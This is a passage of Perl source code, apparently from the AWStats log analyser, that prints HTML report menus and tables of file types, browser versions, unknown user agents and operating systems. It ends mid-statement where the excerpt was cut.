10424					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10425					: ""
10426				);
10427				print "<a href=\""
10428				  . (
10429					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10430					? XMLEncode(
10431						"$AWScript${NewLinkParams}output=browserdetail")
10432					: "$StaticLinks.browserdetail.$StaticExt"
10433				  )
10434				  . "\"$NewLinkTarget>$Message[58]</a>\n";
10435				print( $frame? "</td></tr>\n" : " &nbsp; " );
10436			}
10437			if ($ShowBrowsersStats) {
10438				print( $frame
10439					? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
10440					: ""
10441				);
10442				print "<a href=\""
10443				  . (
10444					$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10445					? XMLEncode(
10446						"$AWScript${NewLinkParams}output=unknownbrowser")
10447					: "$StaticLinks.unknownbrowser.$StaticExt"
10448				  )
10449				  . "\"$NewLinkTarget>$Message[0]</a>\n";
10450				print( $frame? "</td></tr>\n" : " &nbsp; " );
10451			}
10452			if ($ShowScreenSizeStats) {
10453				print( $frame? "<tr><td class=\"awsm\">" : "" );
10454				print
10455"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>";
10456				print( $frame? "</td></tr>\n" : " &nbsp; " );
10457			}
10458			if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); }
10459
10460			# Referers
10461			%menu = (
10462				'referer'      => $ShowOriginStats ? 1 : 0,
10463				'refererse'    => $ShowOriginStats ? 2 : 0,
10464				'refererpages' => $ShowOriginStats ? 3 : 0,
10465				'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
10466				? 4
10467				: 0,
10468				'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
10469				'keywords'   => $ShowKeywordsStats   ? 6 : 0
10470			);
10471			%menulink = (
10472				'referer'      => 1,
10473				'refererse'    => 2,
10474				'refererpages' => 2,
10475				'keys'         => 1,
10476				'keyphrases'   => 2,
10477				'keywords'     => 2
10478			);
10479			%menutext = (
10480				'referer'      => $Message[37],
10481				'refererse'    => $Message[126],
10482				'refererpages' => $Message[127],
10483				'keys'         => $Message[14],
10484				'keyphrases'   => $Message[120],
10485				'keywords'     => $Message[121]
10486			);
10487			HTMLShowMenuCateg(
10488				'referers',     $Message[23],
10489				'menu7.png',    $frame,
10490				$targetpage,    $linkanchor,
10491				$NewLinkParams, $NewLinkTarget,
10492				\%menu,         \%menulink,
10493				\%menutext
10494			);
10495
10496			# Others
10497			%menu = (
10498				'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0,
10499				'misc' => $ShowMiscStats ? 2 : 0,
10500				'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats )
10501				? 3
10502				: 0,
10503				'clusters' => $ShowClusterStats ? 5 : 0
10504			);
10505			%menulink = (
10506				'filetypes' => 1,
10507				'misc'      => 1,
10508				'errors'    => 1,
10509				'clusters'  => 1
10510			);
10511			%menutext = (
10512				'filetypes' => $Message[98],
10513				'misc'      => $Message[139],
10514				'errors'    =>
10515				  ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
10516				'clusters' => $Message[155]
10517			);
10518			my $idx = 0;
10519			foreach ( sort keys %TrapInfosForHTTPErrorCodes ) {
10520				$menu{"errors$_"}     = $ShowHTTPErrorsStats ? 4+$idx : 0;
10521				$menulink{"errors$_"} = 2;
10522				$menutext{"errors$_"} = $Message[49] . ' (' . $_ . ')';
10523				$idx++;
10524			}
10525			HTMLShowMenuCateg(
10526				'others',       $Message[2],
10527				'menu8.png',    $frame,
10528				$targetpage,    $linkanchor,
10529				$NewLinkParams, $NewLinkTarget,
10530				\%menu,         \%menulink,
10531				\%menutext
10532			);
10533
10534			# Extra/Marketing
10535			%menu     = ();
10536			%menulink = ();
10537			%menutext = ();
10538			my $i = 1;
10539			foreach ( 1 .. @ExtraName - 1 ) {
10540				$menu{"extra$_"}        = $i++;
10541				$menulink{"extra$_"}    = 1;
10542				$menutext{"extra$_"}    = $ExtraName[$_];
10543				$menu{"allextra$_"}     = $i++;
10544				$menulink{"allextra$_"} = 2;
10545				$menutext{"allextra$_"} = $Message[80];
10546			}
10547			HTMLShowMenuCateg(
10548				'extra',        $Message[134],
10549				'',             $frame,
10550				$targetpage,    $linkanchor,
10551				$NewLinkParams, $NewLinkTarget,
10552				\%menu,         \%menulink,
10553				\%menutext
10554			);
10555			print "</table>\n";
10556		}
10557		else {
10558
10559			# Menu Applet
10560			if ($frame) { }
10561			else { }
10562		}
10563
10564		#print ($frame?"":"<br />\n");
10565		print "<br />\n";
10566	}
10567
10568	# Print Back link
10569	elsif ( !$HTMLOutput{'main'} ) {
10570		print "<table>\n";
10571		$NewLinkParams =~ s/(^|&|&amp;)hostfilter=[^&]*//i;
10572		$NewLinkParams =~ s/(^|&|&amp;)urlfilter=[^&]*//i;
10573		$NewLinkParams =~ s/(^|&|&amp;)refererpagesfilter=[^&]*//i;
10574		$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
10575		$NewLinkParams =~ s/^&amp;//;
10576		$NewLinkParams =~ s/&amp;$//;
10577		if (   !$DetailedReportsOnNewWindows
10578			|| $FrameName eq 'mainright'
10579			|| $QueryString =~ /buildpdf/i )
10580		{
10581			print "<tr><td class=\"aws\"><a href=\""
10582			  . (
10583				$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
10584				? XMLEncode("$AWScript${NewLinkParams}")
10585				: "$StaticLinks.$StaticExt"
10586			  )
10587			  . "\">$Message[76]</a></td></tr>\n";
10588		}
10589		else {
10590			print
10591"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
10592		}
10593		print "</table>\n";
10594		print "\n";
10595	}
10596}
10597
10598#------------------------------------------------------------------------------
10599# Function:     Prints the File Type table
10600# Parameters:   _
10601# Input:        $NewLinkParams, $NewLinkTargets
10602# Output:       HTML
10603# Return:       -
10604#------------------------------------------------------------------------------
10605sub HTMLMainFileType{
10606    my $NewLinkParams = shift;
10607    my $NewLinkTarget = shift;
10608	if (!$LevelForFileTypesDetection > 0){return;}
10609	if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); }
10610	print "$Center<a name=\"filetypes\">&nbsp;</a><br />\n";
10611	my $Totalh = 0;
10612	foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; }
10613	my $Totalk = 0;
10614	foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; }
10615	my $title = "$Message[73]";
10616    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
10617        # extend the title to include the added link
10618        $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
10619           "$AddLinkToExternalCGIWrapper" . "?section=FILETYPES&baseName=$DirData/$PROG"
10620           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
10621           . "&siteConfig=$SiteConfig" )
10622           . "\"$NewLinkTarget>$Message[179]</a>");
10623    }
10624
10625	if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; }
10626
10627	# build keylist at top
10628	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
10629		\%_filetypes_h );
10630
10631	&tab_head( "$title", 19, 0, 'filetypes' );
10632
10633	# Graph the top five in a pie chart
10634	if (scalar @keylist > 1){
10635		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
10636		{
10637			my @blocklabel = ();
10638			my @valdata = ();
10639			my @valcolor = ($color_p);
10640			my $cnt = 0;
10641			foreach my $key (@keylist) {
10642				push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
10643				push @blocklabel, "$key";
10644				$cnt++;
10645				if ($cnt > 4) { last; }
10646			}
10647			print "<tr><td colspan=\"7\">";
10648			my $function = "ShowGraph_$pluginname";
10649			&$function(
10650				"$Message[73]",              "filetypes",
10651				0, 						\@blocklabel,
10652				0,           			\@valcolor,
10653				0,              		0,
10654				0,          			\@valdata
10655			);
10656			print "</td></tr>";
10657		}
10658	}
10659
10660	print
10661"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
10662
10663	if ( $ShowFileTypesStats =~ /H/i ) {
10664		print "<th bgcolor=\"#$color_h\" width=\"80\""
10665		  . Tooltip(4)
10666		  . ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
10667	}
10668	if ( $ShowFileTypesStats =~ /B/i ) {
10669		print "<th bgcolor=\"#$color_k\" width=\"80\""
10670		  . Tooltip(5)
10671		  . ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
10672	}
10673	if ( $ShowFileTypesStats =~ /C/i ) {
10674		print
10675"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>";
10676	}
10677	print "</tr>\n";
10678	my $total_con = 0;
10679	my $total_cre = 0;
10680	my $count     = 0;
10681	foreach my $key (@keylist) {
10682		my $p_h = '&nbsp;';
10683		my $p_k = '&nbsp;';
10684		if ($Totalh) {
10685			$p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
10686			$p_h = "$p_h %";
10687		}
10688		if ($Totalk) {
10689			$p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10;
10690			$p_k = "$p_k %";
10691		}
10692		if ( $key eq 'Unknown' ) {
10693			print "<tr><td"
10694			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10695			  . "><img src=\"$DirIcons\/mime\/unknown.png\""
10696			  . AltTitle("")
10697			  . " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
10698		}
10699		else {
10700			my $nameicon = $MimeHashLib{$key}[0] || "notavailable";
10701			my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || "&nbsp;";
10702			print "<tr><td"
10703			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10704			  . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
10705			  . AltTitle("")
10706			  . " /></td><td class=\"aws\">$key</td>";
10707			print "<td class=\"aws\">$nametype</td>";
10708		}
10709		if ( $ShowFileTypesStats =~ /H/i ) {
10710			print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>";
10711		}
10712		if ( $ShowFileTypesStats =~ /B/i ) {
10713			print '<td nowrap="nowrap">'
10714			  . Format_Bytes( $_filetypes_k{$key} )
10715			  . "</td><td>$p_k</td>";
10716		}
10717		if ( $ShowFileTypesStats =~ /C/i ) {
10718			if ( $_filetypes_gz_in{$key} ) {
10719				my $percent = int(
10720					100 * (
10721						1 - $_filetypes_gz_out{$key} /
10722						  $_filetypes_gz_in{$key}
10723					)
10724				);
10725				printf(
10726					"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
10727					Format_Bytes( $_filetypes_gz_in{$key} ),
10728					Format_Bytes( $_filetypes_gz_out{$key} ),
10729					Format_Bytes(
10730						$_filetypes_gz_in{$key} -
10731						  $_filetypes_gz_out{$key}
10732					),
10733					$percent
10734				);
10735				$total_con += $_filetypes_gz_in{$key};
10736				$total_cre += $_filetypes_gz_out{$key};
10737			}
10738			else {
10739				print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
10740			}
10741		}
10742		print "</tr>\n";
10743		$count++;
10744	}
10745
10746	# Add total (only useful if compression is enabled)
10747	if ( $ShowFileTypesStats =~ /C/i ) {
10748		my $colspan = 3;
10749		if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; }
10750		if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; }
10751		print "<tr>";
10752		print
10753"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
10754		if ( $ShowFileTypesStats =~ /C/i ) {
10755			if ($total_con) {
10756				my $percent =
10757				  int( 100 * ( 1 - $total_cre / $total_con ) );
10758				printf(
10759					"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
10760					Format_Bytes($total_con),
10761					Format_Bytes($total_cre),
10762					Format_Bytes( $total_con - $total_cre ),
10763					$percent
10764				);
10765			}
10766			else {
10767				print "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
10768			}
10769		}
10770		print "</tr>\n";
10771	}
10772	&tab_end();
10773}
10774
10775#------------------------------------------------------------------------------
10776# Function:     Prints the Browser Detail frame or static page
10777# Parameters:   _
10778# Input:        _
10779# Output:       HTML
10780# Return:       -
10781#------------------------------------------------------------------------------
10782sub HTMLShowBrowserDetail{
10783	# Show browsers versions
10784	print "$Center<a name=\"browsersversions\">&nbsp;</a><br />";
10785	my $title = "$Message[21]";
10786	&tab_head( "$title", 19, 0, 'browsersversions' );
10787	print
10788"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
10789	print
10790"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
10791	print
10792"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
10793	print "<th>&nbsp;</th>";
10794	print "</tr>\n";
10795	my $total_h = 0;
10796	my $total_p = 0;
10797	my $count = 0;
10798	&BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
10799		1, \%_browser_h, \%_browser_p );
10800	my %keysinkeylist = ();
10801	my $max_h = 1;
10802	my $max_p = 1;
10803
10804	# Count total by family
10805	my %totalfamily_h = ();
10806	my %totalfamily_p = ();
10807	my $TotalFamily_h = 0;
10808	my $TotalFamily_p = 0;
10809  BROWSERLOOP: foreach my $key (@keylist) {
10810		$total_h += $_browser_h{$key};
10811		if ( $_browser_h{$key} > $max_h ) {
10812			$max_h = $_browser_h{$key};
10813		}
10814		$total_p += $_browser_p{$key};
10815		if ( $_browser_p{$key} > $max_p ) {
10816			$max_p = $_browser_p{$key};
10817		}
10818		foreach my $family ( keys %BrowsersFamily ) {
10819			if ( $key =~ /^$family/i ) {
10820				$totalfamily_h{$family} += $_browser_h{$key};
10821				$totalfamily_p{$family} += $_browser_p{$key};
10822				$TotalFamily_h          += $_browser_h{$key};
10823				$TotalFamily_p          += $_browser_p{$key};
10824				next BROWSERLOOP;
10825			}
10826		}
10827	}
10828
10829	# Write records grouped in a browser family
10830	foreach my $family (
10831		sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
10832		keys %BrowsersFamily
10833	  )
10834	{
10835		my $p_h = '&nbsp;';
10836		my $p_p = '&nbsp;';
10837		if ($total_h) {
10838			$p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
10839			$p_h = "$p_h %";
10840		}
10841		if ($total_p) {
10842			$p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10;
10843			$p_p = "$p_p %";
10844		}
10845		my $familyheadershown = 0;
10846
10847		#foreach my $key ( reverse sort keys %_browser_h ) {
10848		foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
10849			if ( $key =~ /^$family(.*)/i ) {
10850				if ( !$familyheadershown ) {
10851					print
10852"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>"
10853				  . uc($family)
10854				  . "</b></td>";
10855				print "<td>&nbsp;</td><td><b>"
10856				  . Format_Number(int( $totalfamily_p{$family} ))
10857				  . "</b></td><td><b>$p_p</b></td>";
10858				print "<td><b>"
10859				  . Format_Number(int( $totalfamily_h{$family} ))
10860				  . "</b></td><td><b>$p_h</b></td><td>&nbsp;</td>";
10861				print "</tr>\n";
10862				$familyheadershown = 1;
10863			}
10864			$keysinkeylist{$key} = 1;
10865			my $ver = $1;
10866			my $p_h = '&nbsp;';
10867			my $p_p = '&nbsp;';
10868			if ($total_h) {
10869				$p_h =
10870				  int( $_browser_h{$key} / $total_h * 1000 ) / 10;
10871				$p_h = "$p_h %";
10872			}
10873			if ($total_p) {
10874				$p_p =
10875				  int( $_browser_p{$key} / $total_p * 1000 ) / 10;
10876				$p_p = "$p_p %";
10877			}
10878			print "<tr>";
10879			print "<td"
10880			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10881			  . "><img src=\"$DirIcons\/browser\/$family.png\""
10882			  . AltTitle("")
10883			  . " /></td>";
10884			print "<td class=\"aws\">"
10885			  . ucfirst($family) . " "
10886			  . ( $ver ? "$ver" : "?" ) . "</td>";
10887			print "<td>"
10888			  . (
10889				$BrowsersHereAreGrabbers{$family}
10890				? "<b>$Message[112]</b>"
10891				: "$Message[113]"
10892			  )
10893			  . "</td>";
10894			my $bredde_h = 0;
10895			my $bredde_p = 0;
10896			if ( $max_h > 0 ) {
10897				$bredde_h =
10898				  int( $BarWidth * ( $_browser_h{$key} || 0 ) /
10899					  $max_h ) + 1;
10900			}
10901			if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
10902				$bredde_h = 2;
10903			}
10904			if ( $max_p > 0 ) {
10905				$bredde_p =
10906				  int( $BarWidth * ( $_browser_p{$key} || 0 ) /
10907					  $max_p ) + 1;
10908			}
10909			if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) {
10910				$bredde_p = 2;
10911			}
10912			print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>";
10913			print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>";
10914			print "<td class=\"aws\">";
10915
10916			# alt and title are not provided to reduce page size
10917			if ($ShowBrowsersStats) {
10918				print
10919"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
10920				print
10921"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
10922				}
10923				print "</td>";
10924				print "</tr>\n";
10925				$count++;
10926			}
10927		}
10928	}
10929
10930	# Write other records
10931	my $familyheadershown = 0;
10932	foreach my $key (@keylist) {
10933		if ( $keysinkeylist{$key} ) { next; }
10934		if ( !$familyheadershown )  {
10935			my $p_h = '&nbsp;';
10936			my $p_p = '&nbsp;';
10937			if ($total_p) {
10938				$p_p =
10939				  int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) /
10940				  10;
10941				$p_p = "$p_p %";
10942			}
10943			if ($total_h) {
10944				$p_h =
10945				  int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) /
10946				  10;
10947				$p_h = "$p_h %";
10948			}
10949			print
10950"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
10951			print "<td>&nbsp;</td><td><b>"
10952			  . Format_Number(( $total_p - $TotalFamily_p ))
10953			  . "</b></td><td><b>$p_p</b></td>";
10954			print "<td><b>"
10955			  . Format_Number(( $total_h - $TotalFamily_h ))
10956			  . "</b></td><td><b>$p_h</b></td><td>&nbsp;</td>";
10957			print "</tr>\n";
10958			$familyheadershown = 1;
10959		}
10960		my $p_h = '&nbsp;';
10961		my $p_p = '&nbsp;';
10962		if ($total_h) {
10963			$p_h = int( $_browser_h{$key} / $total_h * 1000 ) / 10;
10964			$p_h = "$p_h %";
10965		}
10966		if ($total_p) {
10967			$p_p = int( $_browser_p{$key} / $total_p * 1000 ) / 10;
10968			$p_p = "$p_p %";
10969		}
10970		print "<tr>";
10971		if ( $key eq 'Unknown' ) {
10972			print "<td"
10973			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10974			  . "><img src=\"$DirIcons\/browser\/unknown.png\""
10975			  . AltTitle("")
10976			  . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
10977		}
10978		else {
10979			my $keywithoutcumul = $key;
10980			$keywithoutcumul =~ s/cumul$//i;
10981			my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
10982			  || $keywithoutcumul;
10983			my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
10984			  || "notavailable";
10985			print "<td"
10986			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
10987			  . "><img src=\"$DirIcons\/browser\/$nameicon.png\""
10988			  . AltTitle("")
10989			  . " /></td><td class=\"aws\">$libbrowser</td><td>"
10990			  . (
10991				$BrowsersHereAreGrabbers{$key}
10992				? "<b>$Message[112]</b>"
10993				: "$Message[113]"
10994			  )
10995			  . "</td>";
10996		}
10997		my $bredde_h = 0;
10998		my $bredde_p = 0;
10999		if ( $max_h > 0 ) {
11000			$bredde_h =
11001			  int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) +
11002			  1;
11003		}
11004		if ( $max_p > 0 ) {
11005			$bredde_p =
11006			  int( $BarWidth * ( $_browser_p{$key} || 0 ) / $max_p ) +
11007			  1;
11008		}
11009		if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
11010			$bredde_h = 2;
11011		}
11012		if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) {
11013			$bredde_p = 2;
11014		}
11015		print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>";
11016		print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>";
11017		print "<td class=\"aws\">";
11018
11019		# alt and title are not provided to reduce page size
11020		if ($ShowBrowsersStats) {
11021			print
11022"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
11023			print
11024"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
11025		}
11026		print "</td>";
11027		print "</tr>\n";
11028	}
11029	&tab_end();
11030	&html_end(1);
11031}
11032
11033#------------------------------------------------------------------------------
11034# Function:     Prints the Unknown Browser Detail frame or static page
11035# Parameters:   $NewLinkTarget
11036# Input:        _
11037# Output:       HTML
11038# Return:       -
11039#------------------------------------------------------------------------------
11040sub HTMLShowBrowserUnknown{
11041    my $NewLinkTarget = shift;
11042	print "$Center<a name=\"unknownbrowser\">&nbsp;</a><br />\n";
11043	my $title = "$Message[50]";
11044    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
11045       # extend the title to include the added link
11046           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
11047               "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERERBROWSER&baseName=$DirData/$PROG"
11048           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
11049           . "&siteConfig=$SiteConfig" )
11050           . "\"$NewLinkTarget>$Message[179]</a>");
11051    }
11052	&tab_head( "$title", 19, 0, 'unknownbrowser' );
11053	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
11054	  . ( scalar keys %_unknownrefererbrowser_l )
11055	  . ")</th><th>$Message[9]</th></tr>\n";
11056	my $total_l = 0;
11057	my $count = 0;
11058	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
11059		\%_unknownrefererbrowser_l );
11060	foreach my $key (@keylist) {
11061		my $useragent = XMLEncode( CleanXSS($key) );
11062		print
11063		  "<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">"
11064		  . Format_Date( $_unknownrefererbrowser_l{$key}, 1 )
11065		  . "</td></tr>\n";
11066		$total_l += 1;
11067		$count++;
11068	}
11069	my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l;
11070	if ( $rest_l > 0 ) {
11071		print
11072"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11073		print "<td>-</td>";
11074		print "</tr>\n";
11075	}
11076	&tab_end();
11077	&html_end(1);
11078}
11079
11080#------------------------------------------------------------------------------
11081# Function:     Prints the OS Detail frame or static page
11082# Parameters:   _
11083# Input:        _
11084# Output:       HTML
11085# Return:       -
11086#------------------------------------------------------------------------------
11087sub HTMLShowOSDetail{
11088	# Show os versions
11089	print "$Center<a name=\"osversions\">&nbsp;</a><br />";
11090	my $title = "$Message[59]";
11091	&tab_head( "$title", 19, 0, 'osversions' );
11092	print
11093"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
11094	print
11095"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
11096	print
11097"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
11098	print "</tr>\n";
11099	my $total_h = 0;
11100	my $total_p = 0;
11101	my $count = 0;
11102	&BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
11103		1, \%_os_h, \%_os_p );
11104	my %keysinkeylist = ();
11105	my $max_h = 1;
11106	my $max_p = 1;
11107
11108	# Count total by family
11109	my %totalfamily_h = ();
11110	my %totalfamily_p = ();
11111	my $TotalFamily_h = 0;
11112	my $TotalFamily_p = 0;
11113  OSLOOP: foreach my $key (@keylist) {
11114		$total_h += $_os_h{$key};
11115		$total_p += $_os_p{$key};
11116		if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; }
11117		if ( $_os_p{$key} > $max_p ) { $max_p = $_os_p{$key}; }
11118		foreach my $family ( keys %OSFamily ) {
11119			if ( $key =~ /^$family/i ) {
11120				$totalfamily_h{$family} += $_os_h{$key};
11121				$totalfamily_p{$family} += $_os_p{$key};
11122				$TotalFamily_h          += $_os_h{$key};
11123				$TotalFamily_p          += $_os_p{$key};
11124				next OSLOOP;
11125			}
11126		}
11127	}
11128
11129	# Write records grouped in a browser family
11130	foreach my $family ( keys %OSFamily ) {
11131		my $p_h = '&nbsp;';
11132		my $p_p = '&nbsp;';
11133		if ($total_h) {
11134			$p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
11135			$p_h = "$p_h %";
11136		}
11137		if ($total_p) {
11138			$p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10;
11139			$p_p = "$p_p %";
11140		}
11141		my $familyheadershown = 0;
11142		foreach my $key ( reverse sort keys %_os_h ) {
11143			if ( $key =~ /^$family(.*)/i ) {
11144				if ( !$familyheadershown ) {
11145					my $family_name = '';
11146					if ( $OSFamily{$family} ) {
11147						$family_name = $OSFamily{$family};
11148					}
11149					print
11150"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
11151					print "<td><b>"
11152					  . Format_Number(int( $totalfamily_p{$family} ))
11153					  . "</b></td><td><b>$p_p</b></td>";
11154					print "<td><b>"
11155					  . Format_Number(int( $totalfamily_h{$family} ))
11156					  . "</b></td><td><b>$p_h</b></td><td>&nbsp;</td>";
11157					print "</tr>\n";
11158					$familyheadershown = 1;
11159				}
11160				$keysinkeylist{$key} = 1;
11161				my $ver = $1;
11162				my $p_h = '&nbsp;';
11163				my $p_p = '&nbsp;';
11164				if ($total_h) {
11165					$p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10;
11166					$p_h = "$p_h %";
11167				}
11168				if ($total_p) {
11169					$p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10;
11170					$p_p = "$p_p %";
11171				}
11172				print "<tr>";
11173				print "<td"
11174				  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
11175				  . "><img src=\"$DirIcons\/os\/$key.png\""
11176				  . AltTitle("")
11177				  . " /></td>";
11178
11179				print "<td class=\"aws\">$OSHashLib{$key}</td>";
11180				my $bredde_h = 0;
11181				my $bredde_p = 0;
11182				if ( $max_h > 0 ) {
11183					$bredde_h =
11184					  int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h )
11185					  + 1;
11186				}
11187				if ( ( $bredde_h == 1 ) && $_os_h{$key} ) {
11188					$bredde_h = 2;
11189				}
11190				if ( $max_p > 0 ) {
11191					$bredde_p =
11192					  int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p )
11193					  + 1;
11194				}
11195				if ( ( $bredde_p == 1 ) && $_os_p{$key} ) {
11196					$bredde_p = 2;
11197				}
11198				print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>";
11199				print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>";
11200				print "<td class=\"aws\">";
11201
11202				# alt and title are not provided to reduce page size
11203				if ($ShowOSStats) {
11204					print
11205"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
11206					print
11207"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
11208				}
11209				print "</td>";
11210				print "</tr>\n";
11211				$count++;
11212			}
11213		}
11214	}
11215
11216	# Write other records
11217	my $familyheadershown = 0;
11218	foreach my $key (@keylist) {
11219		if ( $keysinkeylist{$key} ) { next; }
11220		if ( !$familyheadershown )  {
11221			my $p_h = '&nbsp;';
11222			my $p_p = '&nbsp;';
11223			if ($total_h) {
11224				$p_h =
11225				  int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) /
11226				  10;
11227				$p_h = "$p_h %";
11228			}
11229			if ($total_p) {
11230				$p_p =
11231				  int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) /
11232				  10;
11233				$p_p = "$p_p %";
11234			}
11235			print
11236"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
11237			print "<td><b>"
11238			  . Format_Number(( $total_p - $TotalFamily_p ))
11239			  . "</b></td><td><b>$p_p</b></td>";
11240			print "<td><b>"
